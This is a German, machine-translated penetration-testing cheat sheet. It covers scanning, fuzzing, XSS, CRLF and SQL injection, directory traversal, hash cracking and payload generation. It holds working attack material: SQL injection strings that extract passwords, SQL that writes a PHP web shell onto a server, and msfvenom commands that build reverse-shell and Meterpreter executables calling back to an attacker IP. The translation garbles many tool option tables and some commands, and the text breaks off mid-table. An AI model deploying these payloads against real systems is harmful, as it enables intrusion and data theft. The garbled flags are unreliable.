Senden Sie eine E-Mail-Nachricht an eine nicht existierende Adresse in der Domäne von Target. Sie werden häufig nützliche interne Netzwerkinformationen über eine Nicht-Zustellungsbenachrichtigung (NDN) angezeigt.
Holen Sie sich eine kostenlose Nessus -Community und wenn Sie es sich leisten können, erhalten Sie Burp Suite Professional oder Caido.
Verwenden Sie für bessere Ergebnisse IPS anstelle von Domainnamen.
Ping Sweep, Map Live -Hosts:
nmap -sn -oG nmap_ping_sweep_results.txt 192.168.8.0/24
nmap -sn -oG nmap_ping_sweep_results.txt -iL cidrs.txt
Einige Webserver antworten nicht auf Ping -Anforderungen (ICMP), sodass die Zuordnung der Live -Hosts nicht korrekt ist.
Extrahieren Sie Live -Hosts aus den Ergebnissen:
grep -Po ' (?<=Host: )[^s]+ ' nmap_ping_sweep_results.txt | sort -uf | tee -a ips_live.txtTCP -Scan, alle Ports:
nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- 192.168.8.0/24
nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- -iL cidrs.txt
Automatisieren Sie den TCP -Scan:
mkdir nmap_tcp_results
for ip in $( cat ips_live.txt ) ; do nmap -nv -sS -sV -sC -Pn -oN " nmap_tcp_results/nmap_tcp_results_ ${ip // . / _} .txt " -p- " ${ip} " ; doneUDP -Scan, nur wichtige Ports:
nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 192.168.8.0/24
nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 -iL cidrs.txt
Automatisieren Sie den UDP -Scan:
mkdir nmap_udp_results
for ip in $( cat ips_live.txt ) ; do nmap -nv -sU -sV -sC -Pn -oN " nmap_udp_results/nmap_udp_results_ ${ip // . / _} .txt " -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 " ${subdomain} " ; done| Option | Beschreibung |
|---|---|
| -sn | Ping -Scan - Port -Scan deaktivieren |
| -Pn | Behandeln Sie alle Hosts als online - Überspringen Sie die Entdeckung des Hosts |
| -n/-r | Führen Sie niemals DNS -Auflösung/lösen Sie immer auf (Standardeinstellung: manchmal) |
| -SS/st/sa | TCP Syn/Connect ()/ACK |
| -su | UDP -Scan |
| -p/-p- | Scannen Sie nur angegebene Ports/scannen Sie alle Ports |
| -Top-Ports | Scannen Sie die meisten gängigen Ports |
| -sv | Offene prüfende Ports, um Service-/Versionsinformationen zu bestimmen |
| -O | Aktivieren Sie die OS -Erkennung |
| -sc | Gleich wie -script = Standard |
| --Skript | Skriptscan (braucht Zeit, um fertig zu werden) |
| -Skript-Args | Stellen Sie Argumente für Skripte vor |
| -Skript-Help | Help bei Skripten zeigen |
| -on/-ox/-og | Ausgangsscan in Normal-, XML- und Breppable -Format |
| -V | Erhöhen Sie das Ausführungsniveau (verwenden |
| --Grund | Zeigen Sie den Grund an, warum sich ein Port in einem bestimmten Zustand befindet |
| -A | Aktivieren Sie die OS -Erkennung, Versionserkennung, Skriptscannen und Traceroute |
Alle Skripte von NMAP befinden sich unter /usr/share/nmap/scripts/ verzeichnis. Lesen Sie hier mehr über die Skripte.
NSE Beispiele:
nmap -nv --script='mysql-brute' --script-args='userdb="users.txt", passdb="rockyou.txt"' 192.168.8.5 -p 3306
nmap -nv --script='dns-brute' --script-args='dns-brute.domain="somedomain.com", dns-brute.hostlist="subdomains-top1mil.txt"'
nmap -nv --script='ssl-heartbleed' -iL cidrs.txt
Sie finden rockyou.txt und subdomains-top1mil.txt WordLists in Seclists.
Ich bevorzuge es, Kerne zum Scannen von Sicherheitsanfälligkeiten zu verwenden.
Installation:
apt-get update && apt-get -y install testssl.shTesten Sie ein SSL/TLS -Zertifikat (z. B. SSL/TLS -Chiffren, Protokolle usw.):
testssl --openssl /usr/bin/openssl -oH testssl_results.html somesite.com
Sie können auch Testssl.sh verwenden, um SSL/TLS -Schwachstellen zu nutzen.
Testen Sie einen Webserver auf Heartbleed Schwachstellen:
for subdomain in $( cat subdomains_live.txt ) ; do res= $( echo " Q " | openssl s_client -connect " ${subdomain} :443 " 2>&1 | grep ' server extension "heartbeat" (id=15) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} " ; fi ; done | tee openssl_heartbleed_results.txt
# omit the URL scheme
for subdomain in $( cat subdomains_live_short_https.txt ) ; do res= $( echo " Q " | openssl s_client -connect " ${subdomain} " 2>&1 | grep ' server extension "heartbeat" (id=15) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} " ; fi ; done | tee openssl_heartbleed_results.txtGreifen Sie SSL/TLS -Zertifikat:
keytool -printcert -rfc -sslserver somesite.com > keytool_results.txt
openssl x509 -noout -text -in keytool_results.txt
Verwenden Sie Declover mit Shodan- und Censys SSL/TLS Dorks, um mehr In-Scope-Hosts zu finden.
Probieren Sie immer das Null -Sitzungs -Login, dh keine Kennwort -Anmeldung, oder suchen Sie im Internet nach Standard -Anmeldeinformationen für eine bestimmte Webanwendung.
Versuchen Sie, Cookies oder JWT -Token zu manipulieren, um Zugang zu erhalten oder Privilegien zu erhöhen. Überprüfen Sie beim Abmelden immer, ob einer der Cookies oder JWT -Token noch gültig ist.
Überprüfen Sie immer den lokalen Speicher des Webbrowsers, insbesondere wenn Sie eine einseitige Anwendung (SPA) testen.
Versuchen Sie, eine HTTP -Postanforderung in eine HTTP -GET -Anforderung, dh in eine Abfragezeichenfolge, zu verwandeln, und sehen Sie, wie ein Server darauf reagiert.
Schalten Sie JavaScript in Ihrem Webbrowser aus und überprüfen Sie das Webanwendungsverhalten erneut.
Überprüfen Sie das Verhalten der Webanwendungen auf einem mobilen Gerät, da einige Funktionen möglicherweise anders funktionieren. Versuchen Sie, Ihren Benutzer-Agent zu spoof, oder versuchen Sie m.somesite.com zu besuchen.
Wenn Sie Ihre Code-Injektionstests automatisieren möchten, überprüfen Sie den WordLists-Unterabschnitt für Code-Injektionswordlisten. Einige der Wortlisten enthalten auch verschleierte Code -Injektionen.
Wenn Sie Mengen oder Mengen sehen, versuchen Sie, Danielmiessler/Seclists/Tree/Master/Fuzzing/Mengen WordList zu verwenden, da dies möglicherweise unbeabsichtigtes Verhalten, Fehler oder sogar die minimalen und maximalen Grenzen umgeht.
Vergessen Sie nicht, nach sich selbst aufzuräumen. Entfernen Sie alle erstellten Artefakte, inkl. Malware, Exploits, Tools, Skripte usw. und alle Einstellungen und Änderungen von einem Zielhost nach dem Testen zurück.
Wird verwendet, wenn Sie versuchen, ein offenes Umleitungsumleitungsumleitungs-Skript (XSS), DNS- und HTTP-Wechselwirkungen usw. auszunutzen, usw.
Sammeln Sie so viele Informationen wie möglich für ein bestimmtes Ziel. Sehen Sie, wie in 1. Aufklärung.
Sammeln Sie Organisationsnamen mit WHOIs und kanonischen Namen mit Host.
Sie können überprüfen, ob Domänen/Subdomänen mit Dig oder Alive und HTTPX tot sind.
Überprüfen Sie, ob die Hosting-Anbieter für die gefundenen Domänen/Subdomänen anfällig für Domänen-/Subdomänenübernahme in Edoverflow/Can-i-take-over-Xyz sind. Credits an den Autor!
Größte Cloud -Service -Anbieter:
Installation:
go install -v github.com/lukasikic/subzy@latest
Überprüfen Sie die Übernahme von Domains/Subdomains:
subzy -concurrency 100 -timeout 3 -targets subdomains_errors.txt | tee subzy_results.txt
Installation:
go install -v github.com/haccer/subjack@latestÜberprüfen Sie die Übernahme von Domains/Subdomains:
subjack -v -o subjack_results.json -t 100 -timeout 3 -a -m -w subdomains_errors.txt
Finden Sie heraus, wie Sie 4xx HTTP-Antwortstatus-Codes bei Ivan-Sincek/Forbidden umgehen können.
Scannen Sie einen Webserver:
nikto -output nikto_results.txt -h somesite.com -p 80
Scannen Sie eine WordPress -Website:
wpscan -o wpscan_results.txt --url somesite.com
Installation und Aktualisierung:
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -up && nuclei -utSicherheitsanfälligkeitsscan, alle Vorlagen:
nuclei -c 500 -o nuclei_results.txt -l subdomains_live_long_2xx_4xx.txt
cat nuclei_results.txt | grep -Po ' (?<=] ).+ ' | sort -uf > nuclei_sorted_results.txtNur Subdomain -Übernahme:
nuclei -c 500 -t takeovers -o nuclei_takeover_results.txt -l subdomains_live.txt
Entdecken Sie Anforderungsparameter:
arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -u https://somesite.com
arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -i subdomains_live_long_2xx.txt
Fuzz -Verzeichnisse:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u https://somesite.com/WFUZZ -w directory-list-lowercase-2.3-medium.txt
Fuzz -Parameterwerte:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{"someparam": "WFUZZ"}" -w somewordlist.txt
Fuzz -Parameter:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{"WFUZZ": "somevalue"}" -w somewordlist.txt
Zusätzliches Beispiel, interner SSRF -Fuzzing:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=127.0.0.1:WFUZZ" -w ports.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=WFUZZ:80" -w ips.txt
| Option | Beschreibung |
|---|---|
| -F | Speichern Sie Ergebnisse in der Ausgabedatei |
| -T | Geben Sie die Anzahl der gleichzeitigen Verbindungen an (10 Standard) |
| -S | Zeitverzögerung zwischen Anforderungen angeben (0 Standard) |
| -U | Geben Sie eine URL für die Anfrage an |
| -W | Geben Sie eine WordList -Datei an |
| -X | Geben Sie eine HTTP -Methode für die Anforderung an, dh, Kopf oder Fuzz |
| -B | Geben Sie einen Cookie für die Anfragen an |
| -D | Verwenden Sie Postdaten |
| -H | Header verwenden |
| --hc/-hl/-hw/-hh | Reaktionen mit dem angegebenen Code/Zeilen/Wörter/Zeichen ausblenden |
| --sc/-sl/-sw/-sh | Antworten mit den angegebenen Code/Zeilen/Wörtern/Zeichen anzeigen |
| --SS/-HS | Antworten mit dem angegebenen Regex innerhalb des Inhalts anzeigen/ausblenden |
Versuchen Sie zunächst, einfach einen Wert in einen anderen zu ändern, z. B. [email protected] an [email protected] , ändern Sie eine ID von 1 auf 2 usw. usw.
Es ist wahrscheinlich, dass sich niedrigere Zahlen -IDs auf einige Konten oder Rollen mit höheren Privilegien beziehen.
Zweitens versuchen Sie die Parameterverschmutzung:
"email":"[email protected],[email protected]"
"email":"[email protected] [email protected]"
"email":"[email protected]","email":"[email protected]"
"email":"[email protected],[email protected]"
"email":"[email protected] [email protected]"
"email":"[email protected]","email":"[email protected]"
"email":("[email protected]","[email protected]")
"email":["[email protected]","[email protected]"]
"email":{"[email protected]","[email protected]"}
"email":("[email protected]","[email protected]")
"email":["[email protected]","[email protected]"]
"email":{"[email protected]","[email protected]"}
email=hacker%40gmail.com,victim%40gmail.com
email=hacker%40gmail.com%20victim%40gmail.com
email=hacker%40gmail.com&email=victim%40gmail.com
email[]=hacker%40gmail.com&email[]=victim%40gmail.com
email=victim%40gmail.com,hacker%40gmail.com
email=victim%40gmail.com%20hacker%40gmail.com
email=victim%40gmail.com&email=hacker%40gmail.com
email[]=victim%40gmail.com&email[]=hacker%40gmail.com
Um die obige Ausgabe zu generieren, führen Sie iDor.py aus:
python3 idor.py -n email -i [email protected] -t [email protected]
Auch als CRLF -Injektion bekannt. CRLF bezieht sich auf die Kutschenrendite ( ASCII 13 , r ) und Linienfutter ( ASCII 10 , n ).
Bei Codierung bezieht sich r auf %0D und n auf %0A .
Fixieren Sie einen Sitzungs -Cookie:
somesite.com/redirect.asp?origin=somesite.com%0D%0ASet-Cookie:%20ASPSESSION=123456789
Offene Umleitung:
somesite.com/home.php?marketing=winter%0D%0ALocation:%20https%3A%2F%2Fgithub.com
Sitzungsfixierung und offene Umleitung sind eine von vielen Techniken, die in Kombination mit der Aufteilung der HTTP -Antwort verwendet werden. Suchen Sie im Internet nach weiteren Techniken.
Einfache Cross-Site-Skriptmeldung (XSS) Nutzlasten:
< script > alert ( 1 ) </ script >
< script src =" https://myserver.com/xss.js " > </ script >
< img src =" https://github.com/favicon.ico " onload =" alert(1) " > Das Hosting von JavaScript auf Pastebin funktioniert nicht, da Pastebin immer text/plain -Inhaltstyp zurückgibt.
Erfahren Sie mehr über reflektierte und gespeicherte Cross-Site-Skriptangriffe (XSS) sowie die Anfragebürme (Cross-Site-Anfrage) (XSRF/CSRF) bei Ivan-Sincek/XSS-Catcher.
Gültige E -Mails mit eingebettetem XSS:
user+( < script > alert ( 1 ) </ script > )@somedomain.com
user@somedomain( < script > alert ( 1 ) </ script > ).com
" < script > alert ( 1 ) </ script > "@somedomain.comDie folgenden Nutzlasten wurden in der MySQL -Datenbank getestet. Beachten Sie, dass MySQL ein Whitespace -Charakter zwischen dem Kommentarsymbol und dem nächsten Charakter benötigt.
Wenn Sie das Whitespace -Zeichen für URL codieren müssen, verwenden Sie stattdessen %20 oder + .
Versuchen Sie, Datenbankfehler zu erstellen, indem Sie einen Einzelquote, einen Rückschlag, einen doppelten Hyphen, eine Vorwärtsspeise oder einen Zeitraum injizieren.
Stellen Sie immer sicher, dass Sie den umgebenden Code richtig schließen.
Lesen Sie diesen OWASP -Artikel, um zu erfahren, wie man WAF umgeht.
Boolesche SQLI:
' OR 1=1--
' OR 1=2--
Gewerkschaftsbasierter SQLI:
' UNION SELECT 1,2,3,4--
' UNION SELECT NULL,NULL,NULL,NULL--
' UNION SELECT 1,concat_ws('|',database(),current_user(),version()),3,4--
' UNION SELECT 1,concat_ws('|',table_schema,table_name,column_name,data_type,character_maximum_length),3,4 FROM information_schema.columns--
' UNION SELECT 1,load_file('..\..\apache\conf\httpd.conf'),3,4--
Bei Verwendung, z. B. 1,2,3,4 funktioniert nicht, versuchen Sie NULL,NULL,NULL,NULL zu verwenden.
Verwenden Sie den in Union basierenden SQLI nur, wenn Sie denselben Kommunikationskanal verwenden können, um die Angriffe zu starten und Ergebnisse zu sammeln.
Ziel ist es, die genaue Anzahl der Spalten in der SQL -Abfrage zu bestimmen und herauszufinden, welche von ihnen dem Benutzer zurückgezeigt wird.
Eine andere Möglichkeit, die genaue Anzahl der Spalten zu bestimmen, besteht darin, wie z. B. ' ORDER BY 1-- verwendet wird, wobei 1 die zum Sortieren verwendete Spaltennummer ist.
Zeitbasierte SQLI:
' AND (SELECT 1 FROM (SELECT sleep(2)) test)--
' AND (SELECT 1 FROM (SELECT CASE user() WHEN '[email protected]' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT 1 FROM (SELECT CASE substring(current_user(),1,1) WHEN 'r' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN sleep(2) ELSE sleep(0) END FROM users WHERE id = 1)--
' AND IF(version() LIKE '5%',sleep(2),sleep(0))--
Verwenden Sie den zeitbasierten SQLI, wenn Sie die Ergebnisse nicht sehen können.
Überprüfen Sie die Existenz/Korrektheit:
' AND (SELECT 'exists' FROM users) = 'exists
' AND (SELECT 'exists' FROM users WHERE username = 'administrator') = 'exists
' AND (SELECT 'correct' FROM users WHERE username = 'administrator' AND length(password) < 8 ) = 'correct
' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE 'correct' END FROM users WHERE username = 'administrator') = 'correct
'||(SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE '' END FROM users WHERE username = 'administrator')||'
Injizieren Sie eine einfache PHP -Web -Shell basierend auf der HTTP -Anforderung:
' UNION SELECT '', '', '', '<?php if(isset($_GET["command"])){echo shell_exec($_GET["command"]);} ?>' INTO DUMPFILE '..\..\htdocs\backdoor.php'--
' UNION SELECT '', '', '', '<?php $p="command";$o=null;if(isset($_SERVER["REQUEST_METHOD"])&&strtolower($_SERVER["REQUEST_METHOD"])==="get"&&isset($_GET[$p])&&($_GET[$p]=trim($_GET[$p]))&&strlen($_GET[$p])>0){$o=@shell_exec("($_GET[$p]) 2>&1");if($o===false){$o="ERROR: The function might be disabled.";}else{$o=str_replace("<","<",$o);$o=str_replace(">",">",$o);}} ?><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Simple PHP Web Shell</title><meta name="author" content="Ivan Šincek"><meta name="viewport" content="width=device-width, initial-scale=1.0"></head><body><pre><?php echo $o;unset($o);unset($_GET[$p]); ?></pre></body></html>' INTO DUMPFILE '..\..\htdocs\backdoor.php'--
Um eine Web -Shell erfolgreich zu injizieren, muss der aktuelle Datenbankbenutzer über eine Schreibberechtigung verfügen.
Injizieren Sie den SQL -Code in Anforderungsparameter:
sqlmap -a -u somesite.com/index.php?username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test -p password
| Option | Beschreibung |
|---|---|
| -U | Ziel -URL |
| -H | Zusätzlicher HTTP -Header |
| --Daten | Datenzeichenfolge, die über Post gesendet werden soll |
| --Plätzchen | HTTP Cookie Header -Wert |
| --Proxy | Verwenden Sie einen Proxy, um eine Verbindung zur Ziel -URL herzustellen ([Protocol: //] Host [: Port]). |
| -P | Testbare Parameter (en) |
| --Ebene | Ausführungsstufe der Tests (1-5, Standard: 1) |
| --Risiko | Risiko für die Durchführung von Tests (1-3, Standard: 1) |
| -A | Alles abrufen |
| -B | DBMS -Banner abrufen |
| -Dump-All | Entpacken Sie alle DBMS -Datenbanken -Tabelleneinträge |
| --os Shell | Aufforderung nach einer interaktiven Betriebssystemschale |
| --os-pwn | Aufforderung an eine OOB -Schale, einen Messgerät oder eine VNC |
| --sqlmap-shell | Aufforderung zur interaktiven SQLMAP -Shell |
| -Zauberer | Einfache Assistentenschnittstelle für Anfängerbenutzer |
| -DBMS | Zu tun. |
Traverse a Pfad ( somesite.com/../../../etc/passwd .
dotdotpwn -q -m http -S -o windows -f /windows/win.ini -k mci -h somesite.com
dotdotpwn -q -m http -o unix -f /etc/passwd -k root -h somesite.com
dotdotpwn -q -m http-url -o unix -f /etc/hosts -k localhost -u 'https://somesite.com/index.php?file=TRAVERSAL'
Versuchen Sie, ein Protokoll wie file:// , gopher:// , dict:// , php:// , jar:// , ftp:// , tftp:// usw. zum Dateipfad zu erstellen; z. B. file://TRAVERSAL .
Überprüfen Sie einige zusätzliche Tipps zum Verzeichnistraversal bei Swisskyrepo/PayloadsAllthethings. Credits an den Autor!
| Option | Beschreibung |
|---|---|
| -M | Modul (HTTP, HTTP-URL, FTP, TFTP Payload, STDOut) |
| -H | Hostname |
| -O | Betriebssystemerkennung für intelligentes Fuzzing (NMAP) |
| -O | Betriebssystemtyp, wenn bekannt ("Windows", "Unix" oder "generisches")) |
| -D | Tiefe der Traverals (Standard: 6) |
| -F | Spezifischer Dateiname (Standard: gemäß den erkannten Betriebssystem) |
| -S | Verwenden Sie SSL für HTTP- und Payload-Modul (für HTTP-URL nicht benötigt) |
| -U | URL mit dem Teil, der als Traversal markiert werden muss |
| -k | Textmuster in der Antwort übereinstimmen |
| -P | Dateiname mit der zugesandten Nutzlast und dem mit dem Traversal -Schlüsselwort markierten Teil markiert werden |
| -X | Port zu Connect (Standard: http = 80; ftp = 21; tftp = 69) |
| -U | Benutzername (Standard: 'Anonymous') |
| -P | Passwort (Standard: 'dot (at) dot.pwn') |
| -M | HTTP -Methode, die Sie verwenden sollen, wenn Sie das Modul "HTTP" verwenden (Get, Post, Head, Copy, Move, Standard: Get) |
| -B | Brechen Sie nach der ersten Verwundbarkeit |
| -C | Fahren Sie fort, wenn keine Daten vom Host erhalten wurden |
Erfahren Sie mehr über PHP-Shells in Ivan-Sincek/Php-Reverse-Shell.
Erfahren Sie mehr über Java/JSP-Shells in Ivan-Sincek/Java-Reverse-TCP.
Finden Sie heraus, wie Sie eine Reverse-Shell-Nutzlast für Python generieren, und senden Sie sie an die Zielmaschine unter Ivan-Sincek/send-TCP-Payload.
Verwenden Sie eine der folgenden MSFvenom -Befehle, um eine Base64 encoded payload zu generieren, und ändern Sie sie auf Ihr Bedürfnis:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
Um eine binary file zu generieren, verwenden Sie einen der folgenden MSFvenom -Befehle und ändern Sie sie nach Ihrem Bedarf:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff -o payload.bin
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
Um eine DLL file zu generieren, verwenden Sie einen der folgenden MSFvenom -Befehle und ändern Sie sie auf Ihren Bedarf:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b x00x0ax0dxff -o payload.dll
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b x00x0ax0dxff -o payload.dll
Um eine standalone executable Datei zu generieren, verwenden Sie eine der folgenden MSFvenom -Befehle und ändern Sie sie nach Ihrem Bedarf:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b x00x0ax0dxff -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b x00x0ax0dxff -o payload.exe
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
Um eine MSI file zu generieren, verwenden Sie einen der folgenden MSFvenom -Befehle und ändern Sie sie nach Ihrem Bedarf:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b x00x0ax0dxff -o payload.msi
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b x00x0ax0dxff -o payload.msi
Bytecode funktioniert beim ersten Versuch aufgrund einiger anderer schlechter Charaktere möglicherweise nicht. Versuch und Irrtum sind der Schlüssel.
Bisher gibt es aufgrund der Größenprobleme keine einfache Möglichkeit, eine DLL- oder MSI -Datei mit einer staglosen Messgerät -Shell zu generieren.
Führen Sie den folgenden PowerShell -Befehl aus, um einen PowerShell -codierten Befehl aus einem PowerShell -Skript zu erstellen:
[ Convert ]::ToBase64String([ Text.Encoding ]::Unicode.GetBytes([ IO.File ]::ReadAllText( $script )))Führen Sie den folgenden Befehl von PowerShell Coded aus entweder von PowerShell oder der Eingabeaufforderung aus:
PowerShell - ExecutionPolicy Unrestricted - NoProfile - EncodedCommand $commandFühren Sie den folgenden PowerShell -Befehl aus, um einen Befehl mit PowerShell -codiert zu dekodieren:
[ Text.Encoding ]::Unicode.GetString([ Convert ]::FromBase64String( $command ))Erfahren Sie mehr über PowerShell Reverse und binden Sie TCP-Schalen an Ivan-Sincek/PowerShell-Reverse-TCP.
Google einen Hash, bevor du versuchst, es zu knacken, weil du dir möglicherweise viel Zeit und Ärger spart.
Verwenden Sie Google Dorks, Chad oder Foca, um Dateien zu finden und herunterzuladen, und in den Metadaten der Dateien, Domain -Benutzernamen zu brutaler Kraft.
Denken Sie daran, dass Sie die Konten der Menschen ausschließen könnten.
Einige Webformen haben Captcha Challenge und/oder Hidden Submission Token, die Sie möglicherweise daran hindern, Brute -Forcing zu erzwingen. Wenn dies der Fall ist, versuchen Sie, eine Anfrage ohne die Captcha Challenge -Antwort und ein Einreichungs -Token einzureichen.
Sie können eine Reihe nützlicher Wordlisten in Seklisten finden.
Generieren Sie eine niedrigere Alpha-Numeric WordList:
crunch 4 6 -f /usr/share/crunch/charset.lst lalpha-numeric -o crunch_wordlist.txt
Sehen Sie sich die Liste aller verfügbaren Charsets an oder fügen Sie Ihre eigene in charset.lst in /usr/share/crunch/ Verzeichnis hinzu.
Generieren Sie alle möglichen Permutationen aus Wörtern:
crunch -o crunch_wordlist.txt -p admin 123 !"
crunch -o crunch_wordlist.txt -q words.txt
Generieren Sie alle möglichen Kombinationen aus einem Charset:
crunch 4 6 -o crunch_wordlist.txt -p admin123!"
| Option | Beschreibung |
|---|---|
| -D | Begrenzt die Anzahl der aufeinanderfolgenden Zeichen |
| -F | Gibt einen Zeichen an, der aus einer Datei festgelegt ist |
| -ich | Umdreht die Ausgabe |
| -l | Wenn Sie die Option -t verwenden, gibt diese Option Crunch an, welche Symbole als Literale behandelt werden sollten |
| -O | Gibt die Datei an, um die Ausgabe an zu schreiben |
| -P | Sagt Crunch, Wörter zu generieren/permute, die keine wiederholenden Zeichen haben |
| -Q | Teilt Crunch an, eine Datei zu lesen und zu durchdringen, was gelesen wird |
| -R | Sagt Crunch to Resume generieren Wörter, von denen es aufgehört hat, -R funktioniert nur, wenn Sie -o verwenden |
| -S | Gibt eine Startzeichenfolge an |
| -T | Gibt ein Muster an |
| Platzhalter | Beschreibung |
|---|---|
| @ | Niedrigere Fallzeichen |
| Anwesend | Obere Fallzeichen |
| % | Zahlen |
| ^ | Symbole |
Leider gibt es keinen Platzhalter, der von Kleinbuchstaben-Alpha bis hin zu Symbolen reicht.
Generieren Sie alle möglichen Kombinationen von einem Platzhalter:
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^ -d 2% -d 1^
crunch 10 10 + + 123456 !" -o crunch_wordlist.txt -t admin@@%^^
crunch 10 10 -o crunch_wordlist.txt -t @dmin@@%^^ -l @aaaaaaaaa
Um einen Hash -Typ zu identifizieren, führen Sie das folgende Tool aus:
hash-identifier
Brute Force MD5 Hashes:
hashcat -m 0 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
Brute Force netntlmv1 Hashes:
hashcat -m 5500 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
Verwenden Sie --session=<session_name> , um Ihren Cracking -Fortschritt später mit --restore fortzusetzen.
Fortschritte Fortschritte fortsetzen:
hashcat --session=cracking --restore
| Option | Beschreibung |
|---|---|
| -M | Hash-Typ, siehe Referenzen unten |
| -A | Angriffsmodus, siehe Referenzen unten |
| --Gewalt | Warnungen ignorieren |
| --Laufzeit | Sitzung nach x Sekunden Laufzeit abbrechen |
| --Status | Aktivieren Sie die automatische Aktualisierung des Statusbildschirms |
| -O | Definieren Sie die Outfile für wiederhergestelltes Hash |
| --zeigen | Zeigen Sie rissige Passwörter in Potfile |
| --Sitzung | Definieren Sie den bestimmten Sitzungsnamen |
| --wiederherstellen | Wiederherstellung der Sitzung aus -Sitzung |
| -RESTORE-KEINE-PAD | Spezifischer Weg zur Wiederherstellung der Datei |
| -O | Aktivieren Sie optimierte Kerne (Grenzen der Passwortlänge) |
| -1 | Benutzerdefiniertes Zeichensatz? 1 |
| -2 | Benutzerdefiniertes Zeichensatz? 2 |
| -3 | Benutzerdefiniertes Zeichensatz? 3 |
| -4 | Benutzerdefiniertes Charset? 4 |
Entweichen Sie bei der Angabe eines benutzerdefinierten Zeichensatzes ? mit einem anderen ? (dh, verwenden Sie ?? Anstelle von ? ).
| Hash -Typ | Beschreibung |
|---|---|
